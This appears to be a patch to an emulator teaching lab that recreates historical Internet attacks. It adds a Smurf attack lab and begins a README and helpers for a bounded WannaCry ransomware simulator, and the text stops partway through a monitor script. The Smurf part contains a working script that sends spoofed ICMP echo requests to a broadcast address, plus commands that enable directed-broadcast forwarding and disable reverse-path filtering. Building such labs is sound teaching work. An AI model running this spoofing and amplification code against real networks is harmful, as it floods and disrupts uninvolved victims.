output/docker-compose.yml + readiness: + - name: Y11 representative services are running + type: compose-ps + services: + - hnode_150_host_0 + - hnode_151_host_0 + - hnode_152_host_0 + - hnode_152_host_11 + - brdnode_152_router0 + - brdnode_2_r101 + - brdnode_12_r101 + retries: 40 + interval: 3 + +probes: + - name: attacker reaches the victim across the mini Internet + type: ping + service: hnode_150_host_0 + target: 10.151.0.71 + count: 3 + retries: 40 + interval: 5 + + - name: attacker reaches the vulnerable AS152 LAN + type: ping + service: hnode_150_host_0 + target: 10.152.0.71 + count: 3 + retries: 40 + interval: 5 + +test_programs: + - name: Y11 Smurf attack runtime validation + script: test_runtime.py + timeout: 300 diff --git a/examples/yesterday_once_more/Y11_smurf_attack/smurf_attack.py b/examples/yesterday_once_more/Y11_smurf_attack/smurf_attack.py new file mode 100644 index 000000000..4df4ebc68 --- /dev/null +++ b/examples/yesterday_once_more/Y11_smurf_attack/smurf_attack.py @@ -0,0 +1,113 @@ +#!/usr/bin/env python3 +"""Send lab-only Smurf-style ICMP packets to a directed broadcast address.""" + +from __future__ import annotations + +import argparse +import os +import socket +import struct +import sys +import time + + +def checksum(data: bytes) -> int: + if len(data) % 2: + data += b"\x00" + total = sum(struct.unpack("!{}H".format(len(data) // 2), data)) + total = (total >> 16) + (total & 0xFFFF) + total += total >> 16 + return (~total) & 0xFFFF + + +def build_icmp_echo(identifier: int, sequence: int, payload_size: int) -> bytes: + payload = (b"SEED-SMURF-LAB-" + bytes([sequence % 256])) * ((payload_size // 16) + 1) + payload = payload[:payload_size] + header = struct.pack("!BBHHH", 8, 0, 0, identifier, sequence) + csum = checksum(header + payload) + return struct.pack("!BBHHH", 8, 0, csum, identifier, sequence) + payload + + +def build_ipv4_packet(source: str, destination: str, payload: bytes, packet_id: int) -> bytes: + version_ihl = (4 << 4) + 5 + tos = 0 + total_length = 20 + len(payload) + flags_fragment = 0 + ttl = 64 + protocol = socket.IPPROTO_ICMP + header_checksum = 0 + src = socket.inet_aton(source) + dst = socket.inet_aton(destination) + header = struct.pack( + "!BBHHHBBH4s4s", + version_ihl, + tos, + total_length, + packet_id, + flags_fragment, + ttl, + protocol, + header_checksum, + src, + dst, + ) + header_checksum = checksum(header) + header = struct.pack( + "!BBHHHBBH4s4s", + version_ihl, + tos, + total_length, + packet_id, + flags_fragment, + ttl, + protocol, + header_checksum, + src, + dst, + ) + return header + payload + + +def parse_args() -> argparse.Namespace: + parser = argparse.ArgumentParser(description="Trigger a lab-only Smurf-style attack.") + parser.add_argument("--broadcast", default="10.152.0.255", help="directed broadcast address") + parser.add_argument("--victim", default="10.151.0.71", help="spoofed victim source address") + parser.add_argument("--count", type=int, default=3, help="number of spoofed echo requests") + parser.add_argument("--interval", type=float, default=0.2, help="seconds between requests") + parser.add_argument("--payload-size", type=int, default=32, help="ICMP payload size in bytes") + return parser.parse_args() + + +def main() -> int: + args = parse_args() + identifier = os.getpid() & 0xFFFF + + try: + sock = socket.socket(socket.AF_INET, socket.SOCK_RAW, socket.IPPROTO_RAW) + sock.setsockopt(socket.IPPROTO_IP, socket.IP_HDRINCL, 1) + sock.setsockopt(socket.SOL_SOCKET, socket.SO_BROADCAST, 1) + except PermissionError: + print("raw socket permission denied; run inside a container with CAP_NET_RAW", file=sys.stderr) + return 2 + + for sequence in range(1, args.count + 1): + icmp = build_icmp_echo(identifier, sequence, args.payload_size) + packet = build_ipv4_packet(args.victim, args.broadcast, icmp, packet_id=identifier + sequence) + sock.sendto(packet, (args.broadcast, 0)) + print( + "sent spoofed icmp_echo_request seq={} source={} destination={} bytes={}".format( + sequence, + args.victim, + args.broadcast, + len(packet), + ), + flush=True, + ) + if sequence != args.count: + time.sleep(args.interval) + + return 0 + + +if __name__ == "__main__": + raise SystemExit(main()) diff --git a/examples/yesterday_once_more/Y11_smurf_attack/smurf_attack_example.py b/examples/yesterday_once_more/Y11_smurf_attack/smurf_attack_example.py new file mode 100644 index 000000000..4f578ab10 --- /dev/null +++ b/examples/yesterday_once_more/Y11_smurf_attack/smurf_attack_example.py @@ -0,0 +1,181 @@ +#!/usr/bin/env python3 +# encoding: utf-8 + +from __future__ import annotations + +import argparse +from pathlib import Path +import sys + + +SCRIPT_DIR = Path(__file__).resolve().parent +REPO_ROOT = SCRIPT_DIR.parents[2] +B00_DIR = REPO_ROOT / "examples" / "internet" / "B00_mini_internet" + +for path in [REPO_ROOT, B00_DIR]: + if str(path) not in sys.path: + sys.path.insert(0, str(path)) + +from mini_internet import build_emulator +from seedemu.compiler import Docker, Platform +from seedemu.core import Emulator, Node + + +ATTACKER_HOST = (150, "host_0") +VICTIM_HOST = (151, "host_0") +TARGET_ASN = 152 +TARGET_ROUTER = "router0" +TARGET_NETWORK = "net0" +SMURF_DIR = "/opt/smurf-lab" + + +def parse_args() -> argparse.Namespace: + parser = argparse.ArgumentParser(description="Build the Y11 Smurf attack example.") + parser.add_argument("legacy_platform", nargs="?", choices=["amd", "arm"]) + parser.add_argument("--platform", choices=["amd", "arm"]) + parser.add_argument("--output", default=str(SCRIPT_DIR / "output")) + parser.add_argument("--dumpfile") + parser.add_argument("--hosts-per-as", type=int, default=2) + parser.add_argument( + "--target-hosts", + type=int, + default=12, + help="number of hosts on the vulnerable AS152 broadcast LAN", + ) + parser.add_argument("--override", dest="override", action="store_true", default=True) + parser.add_argument("--no-override", dest="override", action="store_false") + parser.add_argument("--skip-render", dest="render", action="store_false", default=True) + args = parser.parse_args() + args.platform = args.platform or args.legacy_platform or "amd" + return args + + +def resolve_platform(name: str) -> Platform: + return Platform.AMD64 if name == "amd" else Platform.ARM64 + + +def get_base(emu: Emulator): + return emu.getLayer("Base") + + +def get_host(emu: Emulator, asn: int, name: str) -> Node: + return get_base(emu).getAutonomousSystem(asn).getHost(name) + + +def get_router(emu: Emulator, asn: int, name: str) -> Node: + return get_base(emu).getAutonomousSystem(asn).getRouter(name) + + +def install_file(node: Node, local_name: str, remote_name: str) -> None: + content = (SCRIPT_DIR / local_name).read_text(encoding="utf-8") + node.setFile(f"{SMURF_DIR}/{remote_name}", content) + + +def prepare_smurf_dir(node: Node) -> None: + node.addBuildCommand(f"mkdir -p {SMURF_DIR}") + node.appendStartCommand(f"mkdir -p {SMURF_DIR}") + + +def add_target_hosts(emu: Emulator, target_hosts: int, hosts_per_as: int) -> None: + target_as = get_base(emu).getAutonomousSystem(TARGET_ASN) + existing = max(hosts_per_as, 0) + for index in range(existing, target_hosts): + target_as.createHost(f"host_{index}").joinNetwork(TARGET_NETWORK) + + +def configure_directed_broadcast_router(router: Node) -> None: + router.appendStartCommand("sysctl -w net.ipv4.ip_forward=1") + router.appendStartCommand("sysctl -w net.ipv4.conf.all.bc_forwarding=1 || true") + router.appendStartCommand("sysctl -w net.ipv4.conf.default.bc_forwarding=1 || true") + router.appendStartCommand( + "for f in /proc/sys/net/ipv4/conf/*/bc_forwarding; do [ -e \"$f\" ] && echo 1 > \"$f\"; done" + ) + router.appendStartCommand("sysctl -w net.ipv4.conf.all.rp_filter=0") + router.appendStartCommand("sysctl -w net.ipv4.conf.default.rp_filter=0") + router.appendClassName("SmurfDirectedBroadcastRouter") + + +def configure_target_host(host: Node) -> None: + host.appendStartCommand("sysctl -w net.ipv4.icmp_echo_ignore_broadcasts=0") + host.appendStartCommand("sysctl -w net.ipv4.conf.all.rp_filter=0") + host.appendStartCommand("sysctl -w net.ipv4.conf.default.rp_filter=0") + host.appendClassName("SmurfAmplifierHost") + + +def configure_attacker(host: Node) -> None: + host.addSoftware("python3") + prepare_smurf_dir(host) + install_file(host, "smurf_attack.py", "smurf_attack.py") + install_file(host, "trigger_attack.sh", "trigger_attack.sh") + host.appendStartCommand(f"chmod +x {SMURF_DIR}/smurf_attack.py {SMURF_DIR}/trigger_attack.sh") + host.appendClassName("SmurfAttacker") + + +def configure_victim(host: Node) -> None: + host.addSoftware("python3") + prepare_smurf_dir(host) + install_file(host, "smurf_monitor.py", "smurf_monitor.py") + install_file(host, "visualize_attack.py", "visualize_attack.py") + host.appendStartCommand(f"chmod +x {SMURF_DIR}/smurf_monitor.py {SMURF_DIR}/visualize_attack.py") + host.appendClassName("SmurfVictim") + + +def customize_b00_for_smurf(emu: Emulator, target_hosts: int, hosts_per_as: int) -> None: + if target_hosts < hosts_per_as: + raise ValueError("--target-hosts must be greater than or equal to --hosts-per-as") + + add_target_hosts(emu, target_hosts=target_hosts, hosts_per_as=hosts_per_as) + configure_directed_broadcast_router(get_router(emu, TARGET_ASN, TARGET_ROUTER)) + configure_attacker(get_host(emu, *ATTACKER_HOST)) + configure_victim(get_host(emu, *VICTIM_HOST)) + + target_as = get_base(emu).getAutonomousSystem(TARGET_ASN) + for index in range(target_hosts): + configure_target_host(target_as.getHost(f"host_{index}")) + + +def build_y11_emulator(hosts_per_as: int, target_hosts: int) -> Emulator: + emu = build_emulator(hosts_per_as=hosts_per_as) + customize_b00_for_smurf(emu, target_hosts=target_hosts, hosts_per_as=hosts_per_as) + return emu + + +def run( + dumpfile=None, + hosts_per_as=2, + target_hosts=12, + output=None, + platform=Platform.AMD64, + override=True, + render=True, +) -> None: + emu = build_y11_emulator(hosts_per_as=hosts_per_as, target_hosts=target_hosts) + if dumpfile is not None: + emu.dump(dumpfile) + return + + if render: + emu.render() + + docker = Docker(platform=platform) + emu.compile(docker, output or "./output", override=override) + + +def main() -> int: + args = parse_args() + output_dir = Path(args.output).resolve() + output_dir.parent.mkdir(parents=True, exist_ok=True) + run( + dumpfile=args.dumpfile, + hosts_per_as=args.hosts_per_as, + target_hosts=args.target_hosts, + output=str(output_dir), + platform=resolve_platform(args.platform), + override=args.override, + render=args.render, + ) + return 0 + + +if __name__ == "__main__": + raise SystemExit(main()) diff --git a/examples/yesterday_once_more/Y11_smurf_attack/smurf_monitor.py b/examples/yesterday_once_more/Y11_smurf_attack/smurf_monitor.py new file mode 100644 index 000000000..f33b82ed5 --- /dev/null +++ b/examples/yesterday_once_more/Y11_smurf_attack/smurf_monitor.py @@ -0,0 +1,75 @@ +#!/usr/bin/env python3 +"""Count ICMP echo replies that arrive at the Smurf victim.""" + +from __future__ import annotations + +import argparse +import json +import socket +import struct +import time + + +def parse_args() -> argparse.Namespace: + parser = argparse.ArgumentParser(description="Monitor ICMP echo replies at the Smurf victim.") + parser.add_argument("--duration", type=float, default=8.0) + parser.add_argument("--source-prefix", default="10.152.0.", help="count replies from this source prefix") + parser.add_argument("--output", default="/tmp/smurf-monitor.json") + return parser.parse_args() + + +def parse_icmp(packet: bytes) -> tuple[str, int] | None: + if len(packet) < 28: + return None + + ihl = (packet[0] & 0x0F) * 4 + if len(packet) < ihl + 8 or packet[9] != socket.IPPROTO_ICMP: + return None + + source = socket.inet_ntoa(packet[12:16]) + icmp_type = packet[ihl] + return source, icmp_type + + +def main() -> int: + args = parse_args() + sock = socket.socket(socket.AF_INET, socket.SOCK_RAW, socket.IPPROTO_ICMP) + sock.settimeout(0.5) + + deadline = time.monotonic() + args.duration + replies: list[str] = [] + total_icmp = 0 + + while time.monotonic() < deadline: + try: + packet, _ = sock.recvfrom(65535) + except socket.timeout: + continue + + parsed = parse_icmp(packet) + if parsed is None: + continue + + source, icmp_type = parsed + total_icmp += 1 + if icmp_type == 0 and source.startswith(args.source_prefix): + replies.append(source) + + summary = { + "duration": args.duration, + "source_prefix": args.source_prefix, + "reply_count": len(replies), + "unique_reply_sources": sorted(set(replies)), + "total_icmp_seen": total_icmp, + } + + with open(args.output, "w", encoding="utf-8") as handle: + json.dump(summary, handle, indent=2, sort_keys=True) + handle.write("\n") + + print(json.dumps(summary, indent=2, sort_keys=True)) + return 0 + + +if __name__ == "__main__": + raise SystemExit(main()) diff --git a/examples/yesterday_once_more/Y11_smurf_attack/test_runtime.py b/examples/yesterday_once_more/Y11_smurf_attack/test_runtime.py new file mode 100644 index 000000000..9835235d2 --- /dev/null +++ b/examples/yesterday_once_more/Y11_smurf_attack/test_runtime.py @@ -0,0 +1,74 @@ +#!/usr/bin/env python3 + +from __future__ import annotations + +from seedemu.testing import ComposeRuntimeTest + + +MONITOR_OUTPUT = "/tmp/smurf-monitor.json" +MONITOR_LOG = "/tmp/smurf-monitor.log" + + +def main() -> int: + test = ComposeRuntimeTest(__file__) + + attacker = test.require_service(150, "host_0", "AS150 attacker host is generated") + victim = test.require_service(151, "host_0", "AS151 victim host is generated") + amplifier0 = test.require_service(152, "host_0", "AS152 amplifier host_0 is generated") + amplifier11 = test.require_service(152, "host_11", "AS152 amplifier host_11 is generated") + target_router = test.require_service(152, "router0", "AS152 directed-broadcast router is generated") + + if target_router: + test.exec_check( + "AS152 router enables directed broadcast forwarding", + target_router, + "test -e /proc/sys/net/ipv4/conf/all/bc_forwarding " + "&& test \"$(cat /proc/sys/net/ipv4/conf/all/bc_forwarding)\" = 1", + retries=30, + interval=3, + ) + + for service in [amplifier0, amplifier11]: + if service: + test.exec_check( + "{} responds to broadcast ICMP echo".format(service.name), + service, + "test \"$(cat /proc/sys/net/ipv4/icmp_echo_ignore_broadcasts)\" = 0", + retries=30, + interval=3, + ) + + if victim and attacker: + test.exec_check( + "victim starts ICMP reply monitor", + victim, + "rm -f {out} {log}; " + "(python3 /opt/smurf-lab/smurf_monitor.py --duration 8 --output {out} > {log} 2>&1 &) ; " + "sleep 1".format(out=MONITOR_OUTPUT, log=MONITOR_LOG), + retries=1, + interval=1, + ) + test.exec_check( + "attacker sends spoofed ICMP requests to AS152 directed broadcast", + attacker, + "/opt/smurf-lab/trigger_attack.sh --count 3 --interval 0.2", + retries=10, + interval=2, + ) + test.exec_check( + "victim receives multiple reflected ICMP echo replies", + victim, + "for i in $(seq 1 12); do [ -s {out} ] && break; sleep 1; done; " + "python3 -c \"import json; d=json.load(open('{out}')); " + "assert d['reply_count'] >= 6, d; " + "assert len(d['unique_reply_sources']) >= 2, d\"".format(out=MONITOR_OUTPUT), + retries=1, + interval=1, + ) + + test.write_summary("y11-smurf-attack-runtime-test.json") + return test.exit_code() + + +if __name__ == "__main__": + raise SystemExit(main()) diff --git a/examples/yesterday_once_more/Y11_smurf_attack/trigger_attack.sh b/examples/yesterday_once_more/Y11_smurf_attack/trigger_attack.sh new file mode 100644 index 000000000..587eb2a6d --- /dev/null +++ b/examples/yesterday_once_more/Y11_smurf_attack/trigger_attack.sh @@ -0,0 +1,7 @@ +#!/bin/sh +set -eu + +# Run this inside the attacker container. Defaults: +# - victim: AS151 host_0, 10.151.0.71 +# - vulnerable directed-broadcast LAN: AS152, 10.152.0.255 +python3 /opt/smurf-lab/smurf_attack.py "$@" diff --git a/examples/yesterday_once_more/Y11_smurf_attack/visualize_attack.py b/examples/yesterday_once_more/Y11_smurf_attack/visualize_attack.py new file mode 100644 index 000000000..09833472b --- /dev/null +++ b/examples/yesterday_once_more/Y11_smurf_attack/visualize_attack.py @@ -0,0 +1,133 @@ +#!/usr/bin/env python3 +"""Live victim-side dashboard for the Smurf attack example.""" + +from __future__ import annotations + +import argparse +import os +import socket +import time +from collections import Counter + + +def parse_args() -> argparse.Namespace: + parser = argparse.ArgumentParser(description="Visualize Smurf amplification at the victim.") + parser.add_argument("--duration", type=float, default=20.0) + parser.add_argument("--source-prefix", default="10.152.0.", help="amplifier source prefix") + parser.add_argument("--request-count", type=int, default=3, help="spoofed requests expected") + parser.add_argument("--refresh", type=float, default=1.0, help="dashboard refresh interval") + parser.add_argument("--no-clear", action="store_true", help="do not clear the terminal between updates") + return parser.parse_args() + + +def parse_icmp(packet: bytes) -> tuple[str, int] | None: + if len(packet) < 28: + return None + + ihl = (packet[0] & 0x0F) * 4 + if len(packet) < ihl + 8 or packet[9] != socket.IPPROTO_ICMP: + return None + + source = socket.inet_ntoa(packet[12:16]) + icmp_type = packet[ihl] + return source, icmp_type + + +def render( + elapsed: float, + total_replies: int, + previous_total: int, + sources: Counter[str], + request_count: int, + source_prefix: str, + clear: bool, +) -> None: + if clear: + os.system("clear") + + unique_sources = len(sources) + replies_per_second = total_replies - previous_total + amplification = total_replies / max(request_count, 1) + + print("SMURF ATTACK MONITOR") + print("====================") + print(f"Victim view: ICMP echo replies from {source_prefix}*") + print() + print(f"elapsed seconds : {elapsed:0.1f}") + print(f"spoofed requests : {request_count}") + print(f"ICMP replies received : {total_replies}") + print(f"unique amplifier hosts : {unique_sources}") + print(f"estimated amplification: {amplification:0.1f}x") + print(f"replies in last window : {replies_per_second}") + print() + print("Top replying hosts") + print("------------------") + if not sources: + print("(no replies yet)") + else: + for source, count in sources.most_common(12): + print(f"{source:<16} {count:>5} replies") + print() + print("Start this monitor on the victim, then trigger the attack from AS150.") + print(flush=True) + + +def main() -> int: + args = parse_args() + + sock = socket.socket(socket.AF_INET, socket.SOCK_RAW, socket.IPPROTO_ICMP) + sock.settimeout(0.2) + + sources: Counter[str] = Counter() + started = time.monotonic() + next_render = started + previous_total = 0 + + while True: + now = time.monotonic() + elapsed = now - started + if elapsed >= args.duration: + break + + try: + packet, _ = sock.recvfrom(65535) + except socket.timeout: + packet = b"" + + if packet: + parsed = parse_icmp(packet) + if parsed is not None: + source, icmp_type = parsed + if icmp_type == 0 and source.startswith(args.source_prefix): + sources[source] += 1 + + now = time.monotonic() + if now >= next_render: + total = sum(sources.values()) + render( + elapsed=now - started, + total_replies=total, + previous_total=previous_total, + sources=sources, + request_count=args.request_count, + source_prefix=args.source_prefix, + clear=not args.no_clear, + ) + previous_total = total + next_render = now + args.refresh + + total = sum(sources.values()) + render( + elapsed=time.monotonic() - started, + total_replies=total, + previous_total=previous_total, + sources=sources, + request_count=args.request_count, + source_prefix=args.source_prefix, + clear=not args.no_clear, + ) + return 0 + + +if __name__ == "__main__": + raise SystemExit(main()) From ffb94a2457f8b8ae0a0bb809379cfe457ed5b07d Mon Sep 17 00:00:00 2001 From: Kevin Du Date: Sat, 27 Jun 2026 16:48:53 +0800 Subject: [PATCH 03/33] Added wannacry and sql slammer worms --- examples/yesterday_once_more/README.md | 2 + .../Y04_wannacry/README.md | 322 ++++++++++++++++++ .../Y04_wannacry/add_record.sh | 21 ++ .../Y04_wannacry/decrypt_files.py | 42 +++ .../Y04_wannacry/monitor_attack.py | 310 +++++++++++++++++ .../Y04_wannacry/safe_ransomware_sim.py | 299 ++++++++++++++++ .../Y04_wannacry/trigger_initial_infection.py | 31 ++ .../Y04_wannacry/vulnerable_smb_service.py | 162 +++++++++ .../Y04_wannacry/wannacry_emulator.py | 215 ++++++++++++ .../Y04_wannacry/wannacry_worm.py | 133 ++++++++ .../Y05_sql_slammer/README.md | 104 ++++++ .../Y05_sql_slammer/monitor_attack.py | 176 ++++++++++ .../Y05_sql_slammer/slammer_emulator.py | 180 ++++++++++ .../Y05_sql_slammer/slammer_packet.py | 58 ++++ .../Y05_sql_slammer/slammer_service.py | 135 ++++++++ .../Y05_sql_slammer/slammer_worm.py | 79 +++++ .../trigger_initial_infection.py | 30 ++ .../Y10_ntp_amplification/README.md | 58 ++++ .../ntp_amplification.py | 2 + .../Y10_ntp_amplification/visualize_attack.py | 142 ++++++++ 20 files changed, 2501 insertions(+) create mode 100644 examples/yesterday_once_more/Y04_wannacry/README.md create mode 100644 examples/yesterday_once_more/Y04_wannacry/add_record.sh create mode 100644 examples/yesterday_once_more/Y04_wannacry/decrypt_files.py create mode 100644 examples/yesterday_once_more/Y04_wannacry/monitor_attack.py create mode 100644 examples/yesterday_once_more/Y04_wannacry/safe_ransomware_sim.py create mode 100644 examples/yesterday_once_more/Y04_wannacry/trigger_initial_infection.py create mode 100644 examples/yesterday_once_more/Y04_wannacry/vulnerable_smb_service.py create mode 100644 examples/yesterday_once_more/Y04_wannacry/wannacry_emulator.py create mode 100644 examples/yesterday_once_more/Y04_wannacry/wannacry_worm.py create mode 100644 examples/yesterday_once_more/Y05_sql_slammer/README.md create mode 100644 examples/yesterday_once_more/Y05_sql_slammer/monitor_attack.py create mode 100644 examples/yesterday_once_more/Y05_sql_slammer/slammer_emulator.py create mode 100644 examples/yesterday_once_more/Y05_sql_slammer/slammer_packet.py create mode 100644 examples/yesterday_once_more/Y05_sql_slammer/slammer_service.py create mode 100644 examples/yesterday_once_more/Y05_sql_slammer/slammer_worm.py create mode 100644 examples/yesterday_once_more/Y05_sql_slammer/trigger_initial_infection.py create mode 100644 examples/yesterday_once_more/Y10_ntp_amplification/visualize_attack.py diff --git a/examples/yesterday_once_more/README.md b/examples/yesterday_once_more/README.md index 5031eceaa..40ffa75e3 100644 --- a/examples/yesterday_once_more/README.md +++ b/examples/yesterday_once_more/README.md @@ -5,5 +5,7 @@ We recreate some of the notorious Internet attacks and incidents: - Y01_bgp_prefix_hijacking - Y02_morris_worm - Y03_mirai +- Y04_wannacry +- Y05_sql_slammer - Y10_ntp_amplification - Y11_smurf_attack diff --git a/examples/yesterday_once_more/Y04_wannacry/README.md b/examples/yesterday_once_more/Y04_wannacry/README.md new file mode 100644 index 000000000..37dc39d0a --- /dev/null +++ b/examples/yesterday_once_more/Y04_wannacry/README.md @@ -0,0 +1,322 @@ +# Y04: WannaCry Ransomware Simulator + +This folder will recreate the WannaCry incident step by step inside an isolated +SEED Emulator lab. The first piece is a bounded ransomware simulator. + +The simulator only operates on a directory named `import_folder`. It creates +fake files, transforms those files into `.wncry_lab` files, writes a ransom +note, and provides a recovery command. + +## First Script + +```text +safe_ransomware_sim.py +``` + +Create fake victim files: + +```sh +python3 safe_ransomware_sim.py create-sample-files --target ./import_folder +``` + +Simulate encryption: + +```sh +python3 safe_ransomware_sim.py encrypt \ + --target ./import_folder \ + --i-understand-this-is-a-lab +``` + +Show status: + +```sh +python3 safe_ransomware_sim.py status --target ./import_folder +``` + +Recover files using the lab controller key: + +```sh +python3 safe_ransomware_sim.py recover \ + --target ./import_folder \ + --key-file /tmp/wannacry_lab_keys/.key \ + --i-understand-this-is-a-lab +``` + +## Safety Boundaries + +- The target directory must be named `import_folder`. +- The script does not scan the filesystem. +- The script skips hidden files and its own state files. +- File and total byte limits are enforced. +- Recovery is built in. +- The script requires an explicit lab acknowledgement before encryption or + recovery. + +For simplicity, this version does not include blockchain payment. In the real +WannaCry incident, victims were asked to pay ransom to obtain a recovery key. +In this lab, the simulator leaves a copy of the lab decryption key under `/tmp` +so students can inspect the victim host, find the key, and recover the fake +files. + +## Emulator Stage + +The first emulator entrypoint is: + +```text +wannacry_emulator.py +``` + +It uses the mini-Internet plus the DNS component from +`examples/internet/B02_mini_internet_with_dns` as the base topology. The +`--hosts-per-as` option controls how many hosts are created in each mini-Internet +stub AS. Each stub host gets: + +- `/home/seed/import_folder` with fake victim files; +- `/opt/wannacry-lab/safe_ransomware_sim.py`; +- `/opt/wannacry-lab/decrypt_files.py`; +- `/opt/wannacry-lab/vulnerable_smb_service.py`; +- `/opt/wannacry-lab/wannacry_worm.py`; +- `/opt/wannacry-lab/trigger_initial_infection.py`; +- `/opt/wannacry-lab/targets.txt`; +- a lab-only vulnerable SMB-like service listening on TCP port `445`. + +The example also includes a DNS kill-switch record: + +```text +www.example.net +``` + +The initial value is: + +```text +1.1.1.20 +``` + +which means the worm is allowed to continue spreading. + +Build the emulator: + +```sh +python examples/yesterday_once_more/Y04_wannacry/wannacry_emulator.py \ + --platform amd \ + --hosts-per-as 4 +``` + +The blockchain payment/key-release workflow is intentionally left out for now. +The code still contains a placeholder function named +`install_blockchain_placeholder()` so we can add that part later without +changing the overall example structure. + +## Propagation Model + +The worm is a bounded simulator: + +```text +wannacry_worm.py +``` + +It does not scan arbitrary networks. Instead, the emulator generates +`/opt/wannacry-lab/targets.txt`, which contains only the stub host addresses in +this lab. The worm reads that file and sends this lab message to each target's +vulnerable service: + +```text +INFECT seedemu-wannacry-lab +``` + +When a vulnerable host receives the message, it: + +1. runs the bounded ransomware simulator against `/home/seed/import_folder`; +2. writes a ransom note and local lab state; +3. writes a visible lab decryption key under `/tmp`; +4. drops `DECRYPT_FILES.py` into `/home/seed/import_folder`; +5. starts `wannacry_worm.py` once, so the newly infected host attempts to infect + the same bounded target list. + +This models self-propagation without implementing a real SMB exploit. + +The vulnerable service does not receive arbitrary code from the network. The +emulator installs the ransomware simulator and worm script on every lab host at +build time. The infection message activates those local lab components. This +keeps the example deterministic and avoids creating a reusable malware loader. + +## DNS Kill Switch + +Before each propagation attempt, the worm resolves: + +```text +www.example.net +``` + +The resolved address controls the worm: + +| Address | Meaning | +|---|---| +| `1.1.1.10` | Pause spreading. The worm keeps running and polls DNS until the value changes. | +| `1.1.1.20` | Continue spreading. | +| `1.1.1.30` | Stop the worm process completely. | +| `1.1.1.40` | Reserved for the next behavior. | + +The example includes an update helper copied from the B02 DNS example: + +```text +add_record.sh +``` + +Run the helper on the `example.net` authoritative server container. For example, +copy it from the host into the authoritative server: + +```sh +docker compose -f output/docker-compose.yml cp \ + examples/yesterday_once_more/Y04_wannacry/add_record.sh \ + hnode_163_host_0:/tmp/add_record.sh + +docker compose -f output/docker-compose.yml exec hnode_163_host_0 \ + chmod +x /tmp/add_record.sh +``` + +To pause spreading: + +```sh +docker compose -f output/docker-compose.yml exec hnode_163_host_0 \ + /tmp/add_record.sh 1.1.1.10 +``` + +To continue: + +```sh +docker compose -f output/docker-compose.yml exec hnode_163_host_0 \ + /tmp/add_record.sh 1.1.1.20 +``` + +To stop the worm: + +```sh +docker compose -f output/docker-compose.yml exec hnode_163_host_0 \ + /tmp/add_record.sh 1.1.1.30 +``` + +## Manual Infection Trigger + +After the emulator is running, one host can trigger another host's lab +infection by sending the expected lab message to TCP port `445`. + +For example, from AS150 `host_0` to AS151 `host_0`: + +```sh +docker compose -f output/docker-compose.yml exec hnode_150_host_0 \ + /opt/wannacry-lab/trigger_initial_infection.py 10.151.0.71 +``` + +Then check the target host: + +```sh +docker compose -f output/docker-compose.yml exec hnode_151_host_0 \ + python3 /opt/wannacry-lab/safe_ransomware_sim.py status \ + --target /home/seed/import_folder +``` + +This is not real SMB and not a real exploit. The vulnerable service exists only +to model the moment when a vulnerable host receives an infection trigger. After +that first trigger, propagation happens automatically through the bounded target +list. + +To inspect the local worm log on an infected host: + +```sh +docker compose -f output/docker-compose.yml exec hnode_151_host_0 \ + tail -n 20 /tmp/wannacry_lab_worm.log +``` + +## Manual Recovery + +On an infected victim, the fake files in `/home/seed/import_folder` will have +the `.wncry_lab` suffix, and a ransom note will be present: + +```sh +docker compose -f output/docker-compose.yml exec hnode_151_host_0 \ + ls -R /home/seed/import_folder +``` + +Find the lab decryption key: + +```sh +docker compose -f output/docker-compose.yml exec hnode_151_host_0 \ + sh -lc "find /tmp -name '*key*' -o -name 'wannacry_lab_decryption_key.txt'" +``` + +For this simplified version, the expected visible key path is: + +```text +/tmp/wannacry_lab_decryption_key.txt +``` + +Run the decryption helper left on the victim: + +```sh +docker compose -f output/docker-compose.yml exec hnode_151_host_0 \ + python3 /home/seed/import_folder/DECRYPT_FILES.py +``` + +Then check the files again: + +```sh +docker compose -f output/docker-compose.yml exec hnode_151_host_0 \ + python3 /opt/wannacry-lab/safe_ransomware_sim.py status \ + --target /home/seed/import_folder +``` + +## Monitoring The Attack + +Run the monitor on the Docker host, not inside a container: + +```sh +python examples/yesterday_once_more/Y04_wannacry/monitor_attack.py +``` + +If the output is in a different folder, pass the compose file explicitly: + +```sh +python examples/yesterday_once_more/Y04_wannacry/monitor_attack.py \ + --compose-file examples/yesterday_once_more/Y04_wannacry/output/docker-compose.yml +``` + +The monitor discovers host containers from SEED Emulator Docker Compose labels, +queries each host's `/home/seed/import_folder` status, and prints a live +summary: + +```text +Y04 WANNACRY LAB MONITOR +======================== +hosts discovered : 48 +hosts reachable : 48 +encrypted hosts : 21 +recovered hosts : 0 +clean hosts : 27 +unknown/unreachable hosts : 0 +key fingerprints : 21/21 unique +duplicate key fingerprints: none observed +``` + +It also lists infected and recovered hosts with their victim IDs and a short +key fingerprint. The fingerprint is a hash of the decryption key, not the raw +key itself. + +### Key Uniqueness + +Each victim gets a fresh encryption key. In `safe_ransomware_sim.py`, every +successful encryption creates: + +```python +key = secrets.token_bytes(32) +``` + +Each encrypted file also gets its own nonce: + +```python +nonce = secrets.token_bytes(16) +``` + +The monitor checks this property in practice by hashing the visible lab key on +each infected/recovered host and reporting whether duplicate key fingerprints +are observed. diff --git a/examples/yesterday_once_more/Y04_wannacry/add_record.sh b/examples/yesterday_once_more/Y04_wannacry/add_record.sh new file mode 100644 index 000000000..ba3ef07ea --- /dev/null +++ b/examples/yesterday_once_more/Y04_wannacry/add_record.sh @@ -0,0 +1,21 @@ +#!/bin/bash + +if [ -z "$1" ]; then + echo "Usage: $0 " + exit 1 +fi + +dns_server=10.163.0.71 +new_ip=$1 + +update_command=$(cat < argparse.Namespace: + parser = argparse.ArgumentParser(description="Decrypt files in the WannaCry lab import_folder.") + parser.add_argument("--target", default="/home/seed/import_folder") + parser.add_argument("--key-file", default="/tmp/wannacry_lab_decryption_key.txt") + parser.add_argument("--simulator", default="/opt/wannacry-lab/safe_ransomware_sim.py") + return parser.parse_args() + + +def main() -> int: + args = parse_args() + key_file = Path(args.key_file) + if not key_file.exists(): + print(f"decryption key not found: {key_file}", file=sys.stderr) + print("Hint: search /tmp for the lab key file.", file=sys.stderr) + return 1 + + command = [ + sys.executable, + args.simulator, + "recover", + "--target", + args.target, + "--key-file", + str(key_file), + "--i-understand-this-is-a-lab", + ] + return subprocess.run(command, check=False).returncode + + +if __name__ == "__main__": + raise SystemExit(main()) diff --git a/examples/yesterday_once_more/Y04_wannacry/monitor_attack.py b/examples/yesterday_once_more/Y04_wannacry/monitor_attack.py new file mode 100644 index 000000000..a8665ce28 --- /dev/null +++ b/examples/yesterday_once_more/Y04_wannacry/monitor_attack.py @@ -0,0 +1,310 @@ +#!/usr/bin/env python3 +"""Host-side monitor for the Y04 WannaCry lab. + +Run this script on the Docker 